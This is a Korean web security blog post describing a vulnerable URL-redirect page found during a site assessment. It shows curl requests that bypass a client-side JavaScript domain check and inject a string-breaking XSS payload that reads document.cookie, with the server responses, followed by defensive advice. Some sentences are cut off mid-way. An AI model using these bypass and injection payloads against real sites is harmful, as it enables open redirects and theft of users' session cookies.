홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 취약한 경로재지정: 자바스크립트 검증과 그 우회, 그리고 XSS
홈페이지 취약점 점검 과정에서 경로재지정(URL Redirect) 기능이 발견되었다.
대부분의 경로재지정 기능이 경로재지정 기능 분석 및 입력값 검증기능 우회root@kali:~# curl https://target.site.kr/common/redirect.jsp?location=http://www.daum.net/?target.site.kr <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko"> <head> <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR" /> <title></title> </head> <body> <script type="text/javascript"> //<![CDATA[ var url = "http://www.daum.net/?target.site.kr"; var check = true; if(url.indexOf("http") == 0){ if(url.indexOf("target.site.kr") < 0){ //비정상적인 redirection 방지 check = false; } } if(check){ document.location.href = url; } //]]> </script> </body> </html> root@kali:~#
이러한 방식으로 웹브라우저에서
위의 그림은 자바스크립트에 포함된 문자열 검증기능을 우회하여 허용되지 않는
외부 URL(
자바스크립트 내 입력값 출력을 이용한 스크립트 코드 삽입과 XSS
경로재지정 시 root@kali:~# curl https://target.site.kr/common/redirect.jsp?location=%22%3Balert%28document.cookie%29%3B%20// <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko"> <head> <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR" /> <title></title> </head> <body> <script type="text/javascript"> //<![CDATA[ var url = "";alert(document.cookie); //"; var check = true; if(url.indexOf("http") == 0){ if(url.indexOf("target.site.kr") < 0){ //비정상적인 redirection 방지 check = false; } } if(check){ document.location.href = url; } //]]> </script> </body> </html> root@kali:~#
위의 예에서는 var url = ""; // null alert(document.cookie); // document.cookie 출력 //"; // 주석 처리: 자바스크립트 해석하지 않음
그 결과는 위와 동일하게 해석된다.
경로재지정 변수인 마무리
경로재지정 기능이 취약하면 - Javascript는 웹브라우저로 그 코드가 전송된 후에 실행되는 클라이언트 스크립트 언어이다. 따라서 사용자는 이 코드를 볼 수가 있다. 때문에 사용자의 입력값이 자바스크립트 코드 내에 출력되는 것을 피하는 것이 좋다. 또한 보안을 위한 검증 기능도 자바스크립트로 구현하지 않아야 한다. 서버에서 입력 값을 제대로 검증하지 않으면, 이 사례에서처럼 크로스사이트스크립트와 같이 다양한 공격을 수행할 수 있기 때문이다. [처음 작성한 날: 2016.12.14] [마지막으로 고친 날: 2016.12.14] < 이전 글 : HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (2016.12.14) > 다음 글 : 웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (2016.12.13) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |